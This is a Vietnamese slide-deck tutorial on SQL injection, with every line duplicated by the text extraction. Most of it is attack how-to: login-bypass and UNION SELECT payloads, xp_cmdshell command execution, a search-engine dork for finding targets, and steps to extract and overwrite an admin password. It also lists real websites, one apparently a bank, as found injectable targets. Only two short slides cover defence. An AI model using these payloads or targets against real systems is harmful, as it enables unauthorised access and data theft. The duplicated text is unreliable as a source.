48
SQL INJECTION SQL INJECTION Nội dung trình bày: Nội dung trình bày: SQL Injection là gì? SQL Injection là gì? Các dạng tấn công bằng SQL Các dạng tấn công bằng SQL Injection Injection Kỹ Thuật tấn công bằng sql Kỹ Thuật tấn công bằng sql injection injection Cách phòng tránh Cách phòng tránh Demo Demo

Sql injection it-slideshares.blogspot.com

Embed Size (px)

DESCRIPTION

more from http://it-slideshares.blogspot.com and japanese-zen-garden.blogspot.com

Citation preview

Page 1: Sql injection it-slideshares.blogspot.com

SQL INJECTIONSQL INJECTION

Nội dung trình bày:Nội dung trình bày:

SQL Injection là gì?SQL Injection là gì?

Các dạng tấn công bằng SQL Các dạng tấn công bằng SQL InjectionInjection

Kỹ Thuật tấn công bằng sql Kỹ Thuật tấn công bằng sql injectioninjection

Cách phòng tránhCách phòng tránh

DemoDemo

Page 2: Sql injection it-slideshares.blogspot.com

SQL Injection là gì?SQL Injection là gì? SQL injection là một kĩ thuật tấn công lợi dụng SQL injection là một kĩ thuật tấn công lợi dụng

lỗ hổng trong việc kiểm tra dữ liệu nhập trong lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp.thi hành các câu lệnh SQL bất hợp pháp.

Hậu quả của nó rất tai hại vì nó cho phép Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, tác xóa, hiệu chỉnh, do có toàn quyền trên cơ do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. ứng dụng đó đang chạy.

Lỗi này thường xảy ra trên các ứng dụng web Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase. DB2, Sysbase.

Page 3: Sql injection it-slideshares.blogspot.com

Các dạng tấn công bằng SQL Các dạng tấn công bằng SQL InjectionInjection

Có bốn dạng thông thường bao gồm: Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập vượt qua kiểm tra lúc đăng nhập

(authorization bypass)(authorization bypass) sử dụng câu lện SELECT sử dụng câu lện SELECT sử dụng câu lệnh INSERT sử dụng câu lệnh INSERT sử dụng các stored-procedures [2], [3]sử dụng các stored-procedures [2], [3]

Page 4: Sql injection it-slideshares.blogspot.com

Dạng tấn công vượt qua kiểm Dạng tấn công vượt qua kiểm tra đăng nhậptra đăng nhập

Đăng nhập nhờ vào lỗi khi dùng các Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. liệu của ứng dụng web.

Trong trường hợp này, người ta có Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ: nhập từ phía người dùng. Ví dụ:

Page 5: Sql injection it-slideshares.blogspot.com

login.htm login.htm

<form action="ExecLogin.asp" <form action="ExecLogin.asp" method="post"> method="post">

Username: <input type="text" Username: <input type="text" name="fUSRNAME"><br> name="fUSRNAME"><br>

Password: <input type="password" Password: <input type="password" name="fPASSWORD"><br> name="fPASSWORD"><br>

<input type="submit"> <input type="submit">

</form> </form>

Page 6: Sql injection it-slideshares.blogspot.com

execlogin.asp execlogin.asp <% <%

Dim vUsrName, vPassword, objRS, strSQL vUsrName = Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") Request.Form("fPASSWORD")

strSQL = "SELECT * FROM T_USERS " & _ strSQL = "SELECT * FROM T_USERS " & _ "WHERE "WHERE USR_NAME=' " & vUsrName & _ USR_NAME=' " & vUsrName & _

" ' and USR_PASSWORD=' " & vPassword & " ' “" ' and USR_PASSWORD=' " & vPassword & " ' “

Set objRS = Server.CreateObject("ADODB.Recordset") Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then If (objRS.EOF) Then

Response.Write "Invalid login." Response.Write "Invalid login." Else Else

Response.Write "You are logged in as " & Response.Write "You are logged in as " & objRS("USR_NAME") objRS("USR_NAME")

End If End If Set objRS = Nothing %> Set objRS = Nothing %>

Page 7: Sql injection it-slideshares.blogspot.com

Người dùng nhập chuỗi sau vào trong Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password cả 2 ô nhập liệu username/password của trang login.htm là: của trang login.htm là: ' OR ' ' = ' ' OR ' ' = ' . .

Lúc này, câu truy vấn sẽ được gọi thực Lúc này, câu truy vấn sẽ được gọi thực hiện là: hiện là: SELECT * FROM T_USERS SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ và sẽ trả về Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng bất hợp pháp này như là người dùng đăng nhập hợp lệ. đăng nhập hợp lệ.

Page 8: Sql injection it-slideshares.blogspot.com
Page 9: Sql injection it-slideshares.blogspot.com
Page 10: Sql injection it-slideshares.blogspot.com

Dạng tấn công sử dụng câu Dạng tấn công sử dụng câu lệnh SELECTlệnh SELECT

Để thực hiện được kiểu tấn công này, Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. điểm yếu khởi đầu cho việc tấn công.

Thông thường, sẽ có một trang nhận Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi ID của tin cần hiển thị rồi sau đó truy vấn nội dung sau đó truy vấn nội dung của tin có ID này. của tin có ID này.

Page 11: Sql injection it-slideshares.blogspot.com

<% <% Dim vNewsID, objRS, strSQL Dim vNewsID, objRS, strSQL vNewsID = Request("ID") vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID WHERE NEWS_ID =" & vNewsID Set objRS = Set objRS = Server.CreateObject("ADODB.RecorServer.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." dset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing Set objRS = Nothing

%> %>

Page 12: Sql injection it-slideshares.blogspot.com

Câu truy vấn SQL lúc này sẽ trả về Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:nó sẽ thực hiện câu lệnh:

SELECT * FROM T_NEWS WHERE SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1NEWS_ID=0 or 1=1

Page 13: Sql injection it-slideshares.blogspot.com

'' UNION SELECT ALL SELECT UNION SELECT ALL SELECT OtherField FROM OtherTable WHEREOtherField FROM OtherTable WHERE ' ' ''=='' (*) (*)

Lúc này, ngoài câu truy vấn đầu không Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. lệnh tiếp theo sau từ khóa UNION nữa.

Nếu chúng ta thêm ' UNION SELECT Nếu chúng ta thêm ' UNION SELECT name FROM sysobjects WHERE name FROM sysobjects WHERE xtype = 'U'xtype = 'U' là có thể liệt kê được tên tất là có thể liệt kê được tên tất cả các bảng dữ liệu. cả các bảng dữ liệu.

Page 14: Sql injection it-slideshares.blogspot.com

Dạng tấn công sử dụng câu Dạng tấn công sử dụng câu lệnh INSERTlệnh INSERT

Chức năng không thể thiếu là sau Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. tính hợp lệ của thông tin nhập vào.

Page 15: Sql injection it-slideshares.blogspot.com

Ví dụ, một câu lệnh INSERT có thể có cú Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng : SQL có dạng :

<% strSQL = "INSERT INTO TableName <% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " strValueTwo & " ', ' " & strValueThree & " ') " Set objRS = ') " Set objRS = Server.CreateObject("ADODB.Recordset") Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." objRS.Open strSQL, "DSN=..." Set Set objRS = Nothing %> objRS = Nothing %>

Page 16: Sql injection it-slideshares.blogspot.com

Dạng tấn công sử dụng stored-Dạng tấn công sử dụng stored-proceduresprocedures

Việc tấn công bằng stored-procedures sẽ Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thốngthực thi với quyền quản trị hệ thống 'sa' 'sa'..

Ví dụ, nếu ta thay đoạn mã tiêm vào Ví dụ, nếu ta thay đoạn mã tiêm vào dạng:dạng: ' ; EXEC xp_cmdshell ' ; EXEC xp_cmdshell 'cmd.exe dir C: '.'cmd.exe dir C: '.

Lúc này hệ thống sẽ thực hiện lệnh liệt Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe. lệnh đằng sau cmd.exe.

Page 17: Sql injection it-slideshares.blogspot.com

Kỹ Thuật tấn công bằng sql Kỹ Thuật tấn công bằng sql injectioninjection

Bước 1: Tìm kiếm mục tiêu.Bước 1: Tìm kiếm mục tiêu. Bước 2: Kiểm tra chỗ yếu của trang webBước 2: Kiểm tra chỗ yếu của trang web Bước 3: Nhận data qua ‘database using Bước 3: Nhận data qua ‘database using

ODBC error message’ODBC error message’ Bước 4: Xác định tên của các column Bước 4: Xác định tên của các column

trong tabletrong table Bước 5: Thu thập các dữ liệu quan trọng.Bước 5: Thu thập các dữ liệu quan trọng. Bước 6: Xử lý kết quả tìm đượcBước 6: Xử lý kết quả tìm được

Page 18: Sql injection it-slideshares.blogspot.com

Tìm kiếm mục tiêuTìm kiếm mục tiêu

Bạn có thể dùng các bất kỳ một Bạn có thể dùng các bất kỳ một search-engine nào trên mạng như search-engine nào trên mạng như các trang login, search, feedback…các trang login, search, feedback…

Bạn có thể “custome Search Engine” Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạnlại cho phù hợp với yêu cầu của bạn

Page 19: Sql injection it-slideshares.blogspot.com

Thực hiện câu lệnh search:Thực hiện câu lệnh search: inurl:php?id= site:com.vninurl:php?id= site:com.vn

Page 20: Sql injection it-slideshares.blogspot.com

Đây là kết quả thu được.Đây là kết quả thu được.

Page 21: Sql injection it-slideshares.blogspot.com

Kết Quả Tìm Được Của Kết Quả Tìm Được Của NhómNhóm

http://www.vsmc.com.vn/news_detail.php?id=19'http://www.vsmc.com.vn/news_detail.php?id=19' http://www.toeic.com.vn/info/details.php?id=383'http://www.toeic.com.vn/info/details.php?id=383' http://www.phanhoadigi.com.vn/list_product.php?http://www.phanhoadigi.com.vn/list_product.php?

ID=1173&namecate=EOS'ID=1173&namecate=EOS' http://forum.key.com.vn/viewtopic.php?id=362http://forum.key.com.vn/viewtopic.php?id=362 http://www.biconsi.com.vn/index.php?id=36'http://www.biconsi.com.vn/index.php?id=36' http://www.vietphone.com.vn/download.php?http://www.vietphone.com.vn/download.php?

mode=download&id=19'mode=download&id=19' http://thammyvienthanhbinh.com.vn/detail.php?id=19'http://thammyvienthanhbinh.com.vn/detail.php?id=19' http://www.voip.com.vn/download.php?http://www.voip.com.vn/download.php?

mode=download&id=28'mode=download&id=28'

http://bidv.com.vn/advert.asp?id=36'http://bidv.com.vn/advert.asp?id=36' http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27 http://www.galilcol.ac.il/page.asp?id=17http://www.galilcol.ac.il/page.asp?id=17 ‘‘ Ghi chú: không phải trang nào cũng tấn công đượcGhi chú: không phải trang nào cũng tấn công được

Page 22: Sql injection it-slideshares.blogspot.com

Kiểm tra chỗ yếu của Kiểm tra chỗ yếu của trang webtrang web

Bạn có thể điền thêm một số lệnh Bạn có thể điền thêm một số lệnh trên url, hoặc trên các from login, trên url, hoặc trên các from login, search, hoặc search để phát hiện lỗi.search, hoặc search để phát hiện lỗi.

Sau đây là một số cách thêm và phát Sau đây là một số cách thêm và phát hiện lỗi của nhóm mình:hiện lỗi của nhóm mình:

Page 23: Sql injection it-slideshares.blogspot.com
Page 24: Sql injection it-slideshares.blogspot.com
Page 25: Sql injection it-slideshares.blogspot.com
Page 26: Sql injection it-slideshares.blogspot.com

Nhận data qua ‘database Nhận data qua ‘database using ODBC error message’using ODBC error message’

Đây là bước quan trọng nhất và đòi hỏi Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ liệu.liệu.

Table Table INFORMATION_SCHEMA.COLUMNS chứa INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn tên của tất cả các column trong table. Bạn có thể khai thác như sau:có thể khai thác như sau:http://vitcon/index.asp?id=10http://vitcon/index.asp?id=10 UNION UNION SELECT TOP 1 COLUMN_NAME FROM SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SHEMA.COLUMNS INFORMATION_SHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’--WHERE TABLE_NAME=‘admin_login’--

Page 27: Sql injection it-slideshares.blogspot.com

Out put:Out put:

Microsoft OLE DB Provider for Microsoft OLE DB Provider for ODBC Drivers error ODBC Drivers error ‘80040e07’[Microsoft][ODBC SQL ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER Server Driver][SQL Server]ORDER BY items must appear in the select BY items must appear in the select list if the statement contains a list if the statement contains a UNION operator.UNION operator.

/index.asp, line 5/index.asp, line 5

Page 28: Sql injection it-slideshares.blogspot.com

Thu thập các dữ liệu Thu thập các dữ liệu quan trọngquan trọng

Chúng ta phải xác định được các tên Chúng ta phải xác định được các tên của các table và column quan trọng.của các table và column quan trọng.

Chúng ta có thể lấy login_name đầu Chúng ta có thể lấy login_name đầu tiên trong table “admin_login” như tiên trong table “admin_login” như sau:sau:

http://vitcon/index.asp?id=10http://vitcon/index.asp?id=10 UNION SELECT TOP 1 login_name UNION SELECT TOP 1 login_name From admin_login—From admin_login—

Page 29: Sql injection it-slideshares.blogspot.com

Bạn dễ dàng nhận ra được admin user Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là ‘aaa’.đầu tiên có login_name là ‘aaa’.

Sau đó dung tên user tìm được để tìm Sau đó dung tên user tìm được để tìm password:password:

http://vitcon/index.asp?id=10http://vitcon/index.asp?id=10 UNION UNION SELECT TOP 1 password FROM SELECT TOP 1 password FROM admin_login where login _name=‘aaa’—admin_login where login _name=‘aaa’—

Bây giờ bạn sẽ nhận được password của Bây giờ bạn sẽ nhận được password của ‘aaa’ là ‘bbb’.‘aaa’ là ‘bbb’.

Page 30: Sql injection it-slideshares.blogspot.com

Xử lý kết quả tìm đượcXử lý kết quả tìm được

Khi bạn đã có tên của tất cả các column Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.INSERT một record mới vào table này.

Để thay đổi password của ‘aaa’ bạn có thể Để thay đổi password của ‘aaa’ bạn có thể làm như sau:làm như sau:

http://vitcon/index.asp?id=10 ;UPDATE http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’– WHERE login_name=‘aaa’–

Hoặc bạn login trực tiếp vào và thực hiện Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó.dưới quyền user đó.

Page 31: Sql injection it-slideshares.blogspot.com

Cách phòng tránhCách phòng tránh

Cần có cơ chế kiểm soát chặt chẽ và Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web khoản người dùng mà ứng dụng web đang sử dụng.đang sử dụng.

Các ứng dụng thông thường nên Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hay sa. Quyền càng bị hạn chế, thiệt hại càng ít. hại càng ít.

Page 32: Sql injection it-slideshares.blogspot.com

Loại bỏ bất kì thông tin kĩ thuật nào Loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi.cho người dùng khi ứng dụng có lỗi.

Các thông báo lỗi thông thường tiết Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu phép kẻ tấn công biết được điểm yếu của hệ thống. của hệ thống.

Page 33: Sql injection it-slideshares.blogspot.com

DEMODEMO

Page 34: Sql injection it-slideshares.blogspot.com
Page 35: Sql injection it-slideshares.blogspot.com
Page 36: Sql injection it-slideshares.blogspot.com
Page 37: Sql injection it-slideshares.blogspot.com
Page 38: Sql injection it-slideshares.blogspot.com
Page 39: Sql injection it-slideshares.blogspot.com
Page 40: Sql injection it-slideshares.blogspot.com
Page 41: Sql injection it-slideshares.blogspot.com
Page 42: Sql injection it-slideshares.blogspot.com
Page 43: Sql injection it-slideshares.blogspot.com
Page 44: Sql injection it-slideshares.blogspot.com
Page 45: Sql injection it-slideshares.blogspot.com
Page 46: Sql injection it-slideshares.blogspot.com
Page 47: Sql injection it-slideshares.blogspot.com
Page 48: Sql injection it-slideshares.blogspot.com